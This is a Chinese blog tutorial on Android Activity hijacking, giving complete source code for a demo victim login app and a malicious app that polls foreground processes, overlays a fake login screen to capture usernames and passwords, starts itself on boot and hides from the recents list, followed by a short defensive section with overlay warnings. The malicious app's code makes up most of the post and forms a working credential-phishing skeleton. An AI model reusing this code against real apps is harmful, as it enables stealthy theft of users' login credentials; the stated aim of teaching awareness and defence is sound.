原文地址:Activity劫持实例与防护手段 作者:cjxqhhh

 

(本文只用于学习技术,提高大家警觉,切勿用于非法用途!)

 

什么叫Activity劫持

 
这里举一个例子。用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用
界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,接下来会发生什么就可想而知了。

 

实例

 

 

Activity劫持的危害是非常大的,它的具体实现和一些细节,我将会用一个完整的实例说明:

首先,我们在Android Studio中新建一个工程,项目结构如下:



activity_main.xml的内容:

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2.     xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
  3.     android:layout_height="match_parent" >
  4.     <TextView
  5.         android:layout_width="match_parent"
  6.         android:layout_height="wrap_content"
  7.         android:text="Normal Activity"
  8.         android:gravity="center_horizontal"
  9.         android:padding="10dp"
  10.         android:background="#ffffff"/>
  11.     <LinearLayout
  12.         android:id="@+id/Layout1"
  13.         android:layout_width="wrap_content"
  14.         android:layout_height="wrap_content"
  15.         android:layout_centerHorizontal="true"
  16.         android:layout_marginTop="80dp"
  17.         android:orientation="horizontal">
  18.         <TextView
  19.             android:text="UserName"
  20.             android:layout_width="wrap_content"
  21.             android:layout_height="wrap_content"
  22.             android:textColor="#000000"
  23.             android:textSize="20dp" />
  24.         <EditText
  25.             android:id="@+id/UserNameEdit"
  26.             android:layout_width="100dp"
  27.             android:layout_height="wrap_content" />
  28.     </LinearLayout>
  29.     <LinearLayout
  30.         android:id="@+id/Layout2"
  31.         android:layout_width="wrap_content"
  32.         android:layout_height="wrap_content"
  33.         android:layout_centerHorizontal="true"
  34.         android:layout_marginTop="50dp"
  35.         android:orientation="horizontal"
  36.         android:layout_below="@id/Layout1">
  37.         <TextView
  38.             android:text="Password"
  39.             android:layout_width="wrap_content"
  40.             android:layout_height="wrap_content"
  41.             android:textColor="#000000"
  42.             android:textSize="20dp" />
  43.         <EditText
  44.             android:id="@+id/PasswordEdit"
  45.             android:layout_width="100dp"
  46.             android:layout_height="wrap_content" />
  47.     </LinearLayout>
  48.     <Button
  49.         android:id="@+id/LoginButton"
  50.         android:layout_width="wrap_content"
  51.         android:layout_height="wrap_content"
  52.         android:layout_below="@id/Layout2"
  53.         android:layout_marginTop="5dp"
  54.         android:layout_centerHorizontal="true"
  55.         android:text="Login"/>
  56. </RelativeLayout>

activity_second.xml的内容:只是一个TextView控件,显示"Second Activity"而已,就不贴代码了。

MainActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.os.Bundle;
  5. import android.view.View;
  6. import android.widget.Button;
  7. import android.widget.EditText;
  8. //一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity
  9. //只是为了演示正常的Activity而已,无实际功能
  10. public class MainActivity extends Activity {
  11.     Button login = null;
  12.     EditText userName = null;
  13.     EditText password = null;
  14.     @Override
  15.     protected void onCreate(Bundle savedInstanceState) {
  16.         super.onCreate(savedInstanceState);
  17.         setContentView(R.layout.activity_main);
  18.         login = (Button)findViewById(R.id.LoginButton);
  19.         userName = (EditText)findViewById(R.id.UserNameEdit);
  20.         password = (EditText)findViewById(R.id.PasswordEdit);
  21.         login.setOnClickListener(new View.OnClickListener() {
  22.             @Override
  23.             public void onClick(View view) {
  24.                 Intent intent = new Intent(MainActivity.this, SecondActivity.class);
  25.                 //启动SecondActivity
  26.                 startActivity(intent);
  27.             }
  28.         });
  29.     }
  30. }

SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。
AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。

接下来是我们的恶意软件,再新建一个工程,项目结构如下:

activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2.     xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
  3.     android:layout_height="match_parent" >
  4.     <TextView
  5.         android:layout_width="match_parent"
  6.         android:layout_height="wrap_content"
  7.         android:text="Normal Activity"
  8.         android:gravity="center_horizontal"
  9.         android:padding="10dp"
  10.         android:background="#ffffff"
  11.         android:visibility="invisible"/>
  12.     <LinearLayout
  13.         android:id="@+id/Layout1"
  14.         android:layout_width="wrap_content"
  15.         android:layout_height="wrap_content"
  16.         android:layout_centerHorizontal="true"
  17.         android:layout_marginTop="80dp"
  18.         android:orientation="horizontal">
  19.         <TextView
  20.             android:text="UserName"
  21.             android:layout_width="wrap_content"
  22.             android:layout_height="wrap_content"
  23.             android:textColor="#000000"
  24.             android:textSize="20dp"
  25.             android:visibility="invisible"/>
  26.         <EditText
  27.             android:id="@+id/UserNameEdit"
  28.             android:layout_width="100dp"
  29.             android:layout_height="wrap_content"
  30.             android:visibility="invisible"/>
  31.     </LinearLayout>
  32.     <LinearLayout
  33.         android:id="@+id/Layout2"
  34.         android:layout_width="wrap_content"
  35.         android:layout_height="wrap_content"
  36.         android:layout_centerHorizontal="true"
  37.         android:layout_marginTop="50dp"
  38.         android:orientation="horizontal"
  39.         android:layout_below="@id/Layout1">
  40.         <TextView
  41.             android:text="Password"
  42.             android:layout_width="wrap_content"
  43.             android:layout_height="wrap_content"
  44.             android:textColor="#000000"
  45.             android:textSize="20dp"
  46.             android:visibility="invisible"/>
  47.         <EditText
  48.             android:id="@+id/PasswordEdit"
  49.             android:layout_width="100dp"
  50.             android:layout_height="wrap_content"
  51.             android:visibility="invisible"/>
  52.     </LinearLayout>
  53.     <Button
  54.         android:id="@+id/LoginButton"
  55.         android:layout_width="wrap_content"
  56.         android:layout_height="wrap_content"
  57.         android:layout_below="@id/Layout2"
  58.         android:layout_marginTop="5dp"
  59.         android:layout_centerHorizontal="true"
  60.         android:text="Login"
  61.         android:visibility="invisible"/>
  62. </RelativeLayout>

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  3.     android:orientation="vertical" android:layout_width="match_parent"
  4.     android:layout_height="match_parent">
  5.     <TextView
  6.         android:layout_width="wrap_content"
  7.         android:layout_height="wrap_content"
  8.         android:text="Start"
  9.         android:textSize="50dp"/>
  10.     <Button
  11.         android:id="@+id/StartServiceButton"
  12.         android:layout_width="wrap_content"
  13.         android:layout_height="wrap_content"
  14.         android:text="StartService"
  15.         android:padding="20dp"
  16.         android:layout_gravity="center_horizontal"/>
  17. </LinearLayout>

activity_main.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  3.     android:orientation="vertical" android:layout_width="match_parent"
  4.     android:layout_height="match_parent">
  5.     <TextView
  6.         android:layout_width="wrap_content"
  7.         android:layout_height="wrap_content"
  8.         android:text="Start"
  9.         android:textSize="50dp"/>
  10.     <Button
  11.         android:id="@+id/StartServiceButton"
  12.         android:layout_width="wrap_content"
  13.         android:layout_height="wrap_content"
  14.         android:text="StartService"
  15.         android:padding="20dp"
  16.         android:layout_gravity="center_horizontal"/>
  17. </LinearLayout>

AutoStartReceiver.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.content.BroadcastReceiver;
  3. import android.content.Context;
  4. import android.content.Intent;
  5. //用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED”
  6. public class AutoStartReceiver extends BroadcastReceiver {
  7.     @Override
  8.     public void onReceive(Context context, Intent intent) {
  9.         if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
  10.             Intent _intent = new Intent(context, HijackService.class);
  11.             //启动HijackService
  12.             context.startService(_intent);
  13.         }
  14.     }
  15. }

EvilApplication.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Application;
  3. import java.util.ArrayList;
  4. import java.util.List;
  5. public class EvilApplication extends Application{
  6.     //存放已经被劫持的程序
  7.     List<String> hijackedList = new ArrayList<String>();
  8.     public boolean hasProgressBeHijacked(String processName) {
  9.         return hijackedList.contains(processName);
  10.     }
  11.     public void addHijacked(String processName) {
  12.         hijackedList.add(processName);
  13.     }
  14.     public void clearHijacked() {
  15.         hijackedList.clear();
  16.     }
  17. }

FakeMainActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Activity;
  3. import android.os.Bundle;
  4. import android.view.View;
  5. import android.widget.Button;
  6. import android.widget.EditText;
  7. import android.widget.Toast;
  8. import java.util.Timer;
  9. import java.util.TimerTask;
  10. public class FakeMainActivity extends Activity {
  11.     Button login = null;
  12.     EditText userName = null;
  13.     EditText password = null;
  14.     @Override
  15.     protected void onCreate(Bundle savedInstanceState) {
  16.         super.onCreate(savedInstanceState);
  17.         setContentView(R.layout.activity_fakemain);
  18.         login = (Button)findViewById(R.id.LoginButton);
  19.         userName = (EditText)findViewById(R.id.UserNameEdit);
  20.         password = (EditText)findViewById(R.id.PasswordEdit);
  21.         //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity
  22.         //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来
  23.         //我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷
  24.         //无奈只能用这个本方法,如果大家有更好的办法,请赐教
  25.         Timer timer = new Timer();
  26.         TimerTask task = new TimerTask() {
  27.             @Override
  28.             public void run() {
  29.                 runOnUiThread(new Runnable(){
  30.                     @Override
  31.                     public void run() {
  32.                         userName.setVisibility(View.VISIBLE);
  33.                         password.setVisibility(View.VISIBLE);
  34.                         login.setVisibility(View.VISIBLE);
  35.                     }});
  36.             }
  37.         };
  38.         timer.schedule(task, 1000);
  39.         login.setOnClickListener(new View.OnClickListener() {
  40.             @Override
  41.             public void onClick(View view) {
  42.                 //这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己
  43.                 Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();
  44.                 //为了伪造的Activity弹出时不那么明显
  45.                 userName.setVisibility(View.INVISIBLE);
  46.                 password.setVisibility(View.INVISIBLE);
  47.                 login.setVisibility(View.INVISIBLE);
  48.                 finish();
  49.             }
  50.         });
  51.     }
  52. }

HijackService.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.ActivityManager;
  3. import android.app.Service;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.os.Handler;
  7. import android.os.IBinder;
  8. import android.util.Log;
  9. import java.util.HashMap;
  10. import java.util.List;
  11. public class HijackService extends Service {
  12.     //targetMap用于存放我们的目标程序
  13.     HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
  14.     Handler handler = new Handler();
  15.     boolean isStart = false;
  16.     //我们新建一个Runnable对象,每隔200ms进行一次搜索
  17.     Runnable searchTarget = new Runnable() {
  18.         @Override
  19.         public void run() {
  20.             //得到ActivityManager
  21.             ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
  22.             //通过ActivityManager将当前正在运行的进程存入processInfo中
  23.             List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
  24.             Log.w("恶意软件", "遍历进程");
  25.             //遍历processInfo中的进程信息,看是否有我们的目标
  26.             for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
  27.                 //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
  28.                 if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
  29.                     if (targetMap.containsKey(_processInfo.processName)) {
  30.                         // 调用hijack方法进行劫持
  31.                         hijack(_processInfo.processName);
  32.                     } else {
  33.                         Log.w("进程", _processInfo.processName);
  34.                     }
  35.                 }
  36.             }
  37.             handler.postDelayed(searchTarget, 200);
  38.         }
  39.     };
  40.     //进行Activity劫持的函数
  41.     private void hijack(String processName) {
  42.         //这里判断我们的目标程序是否已经被劫持过了
  43.         if (((EvilApplication) getApplication())
  44.                 .hasProgressBeHijacked(processName) == false) {
  45.             Log.w("恶意软件", "开始劫持"+processName);
  46.             Intent intent = new Intent(getBaseContext(),
  47.                     targetMap.get(processName));
  48.             //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶
  49.             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  50.             //启动我们伪造的Activity
  51.             getApplication().startActivity(intent);
  52.             //将目标程序加入到已劫持列表中
  53.             ((EvilApplication) getApplication()).addHijacked(processName);
  54.             Log.w("恶意软件", "已经劫持");
  55.         }
  56.     }
  57.     @Override
  58.     public void onStart(Intent intent, int startId) {
  59.         super.onStart(intent, startId);
  60.         if (!isStart) {
  61.             //将我们的目标加入targetMap中
  62.             //这里,key为我们的目标进程,value为我们伪造的Activity
  63.             targetMap.put("com.example.hac.normalapp",
  64.                     FakeMainActivity.class);
  65.             //启动searchTarget
  66.             handler.postDelayed(searchTarget, 1000);
  67.             isStart = true;
  68.         }
  69.     }
  70.     @Override
  71.     public boolean stopService(Intent name) {
  72.         isStart = false;
  73.         Log.w("恶意软件", "停止劫持");
  74.         //清空劫持列表
  75.         ((EvilApplication) getApplication()).clearHijacked();
  76.         //停止searchTarget
  77.         handler.removeCallbacks(searchTarget);
  78.         return super.stopService(name);
  79.     }
  80.     @Override
  81.     public IBinder onBind(Intent intent) {
  82.         return null;
  83.     }
  84. }

StartServiceActivity.java的内容:

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.os.Bundle;
  5. import android.view.View;
  6. import android.widget.Button;
  7. //用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity
  8. public class StartServiceActivity extends Activity {
  9.     Button startButton = null;
  10.     @Override
  11.     public void onCreate(Bundle savedInstanceState) {
  12.         super.onCreate(savedInstanceState);
  13.         setContentView(R.layout.activity_main);
  14.         startButton = (Button)findViewById(R.id.StartServiceButton);
  15.         startButton.setOnClickListener(new View.OnClickListener() {
  16.             @Override
  17.             public void onClick(View view) {
  18.                 Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);
  19.                 startService(intent2);
  20.             }
  21.         });
  22.     }
  23. }

colors.xml的内容:

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <resources>
  3.     <color name="translucent_background">#00000000</color>>
  4. </resources>

styles.xml的内容:

点击(此处)折叠或打开

  1. <resources>
  2.     <!-- Base application theme. -->
  3.     <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
  4.         <!-- Customize your theme here. -->
  5.     </style>
  6.     <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">
  7.         <item name="android:windowBackground">@color/translucent_background</item>
  8.         <item name="android:windowIsTranslucent">true</item>
  9.         <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
  10.     </style>
  11. </resources>

AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"
  3.     package="com.example.hac.evilapp" >
  4.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  5.     <application
  6.         android:name=".EvilApplication"
  7.         android:allowBackup="true"
  8.         android:icon="@drawable/ic_launcher"
  9.         android:label="@string/app_name"
  10.         android:theme="@style/AppTheme" >
  11.         <activity
  12.             android:name=".StartServiceActivity"
  13.             android:label="@string/app_name"
  14.             android:excludeFromRecents="true">
  15.             <intent-filter>
  16.                 <action android:name="android.intent.action.MAIN" />
  17.                 <category android:name="android.intent.category.LAUNCHER" />
  18.             </intent-filter>
  19.         </activity>
  20.         <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>
  21.         <service android:name=".HijackService" ></service>
  22.         <receiver
  23.             android:name=".AutoStartReceiver"
  24.             android:enabled="true"
  25.             android:exported="true" >
  26.             <intent-filter>
  27.                 <action android:name="android.intent.action.BOOT_COMPLETED" />
  28.             </intent-filter>
  29.         </receiver>
  30.     </application>
  31. </manifest>

项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):
http://pan.baidu.com/s/1eQ8JF5w

防护手段

 
目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。
但是,我们可以适当地在APP中给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名,示例如下:

1、在前面建立的正常Activity的登陆界面(也就是MainActivity)中重写onKeyDown方法和onPause方法,这样一来,当其被覆盖时,就能够弹出警示信息,代码如下:

点击(此处)折叠或打开

  1.     @Override
  2.     public boolean onKeyDown(int keyCode, KeyEvent event) {
  3.         //判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。
  4.         if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){
  5.             needAlarm = false;
  6.         }
  7.         return super.onKeyDown(keyCode, event);
  8.     }
  9.     @Override
  10.     protected void onPause() {
  11.        //若程序进入后台不是用户自身造成的,则需要弹出警示
  12.         if(needAlarm) {
  13.             //弹出警示信息
  14.             Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖,请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();
  15.             //启动我们的AlarmService,用于给出覆盖了正常Activity的类名
  16.             Intent intent = new Intent(this, AlarmService.class);
  17.             startService(intent);
  18.         }
  19.         super.onPause();
  20.     }

2、实现AlarmService.java,代码如下:

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;
  2. import android.app.ActivityManager;
  3. import android.app.Service;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.os.Handler;
  7. import android.os.IBinder;
  8. import android.widget.Toast;
  9. public class AlarmService extends Service{
  10.     boolean isStart = false;
  11.     Handler handler = new Handler();
  12.     Runnable alarmRunnable = new Runnable() {
  13.         @Override
  14.         public void run() {
  15.             //得到ActivityManager
  16.             ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
  17.             //getRunningTasks会返回一个List,List的大小等于传入的参数。
  18.             //get(0)可获得List中的第一个元素,即栈顶的task
  19.             ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
  20.             //得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名
  21.             String shortClassName = info.topActivity.getShortClassName(); //类名
  22.             //完整类名
  23.             //String className = info.topActivity.getClassName();
  24.             //包名
  25.             //String packageName = info.topActivity.getPackageName();
  26.             Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();
  27.         }
  28.     };
  29.     @Override
  30.     public int onStartCommand(Intent intent, int flag, int startId) {
  31.         super.onStartCommand(intent, flag, startId);
  32.         if(!isStart) {
  33.             isStart = true;
  34.             //启动alarmRunnable
  35.             handler.postDelayed(alarmRunnable, 1000);
  36.             stopSelf();
  37.         }
  38.         return START_STICKY;
  39.     }
  40.     @Override
  41.     public IBinder onBind(Intent intent) {
  42.         return null;
  43.     }
  44. }

3、最后在AndroidManifest.xml中注册AlarmService即可。

新手发文,写得不对不好的地方麻烦指出,谢谢。